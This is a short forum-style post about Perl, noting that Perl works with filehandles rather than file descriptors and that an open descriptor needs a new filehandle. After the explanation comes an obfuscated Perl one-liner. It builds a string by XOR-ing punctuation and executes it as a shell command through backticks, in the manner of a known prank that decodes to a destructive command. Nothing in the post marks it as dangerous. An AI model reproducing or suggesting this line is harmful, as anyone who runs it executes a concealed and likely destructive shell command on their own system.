If I read this Perl Cookbook Chapter 7 I don't see any advantage in using filedescriptors.

Perl's I/O system uses filehandles instead of file descriptors, so you have to make a new filehandle for an already open file descriptor.

s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e
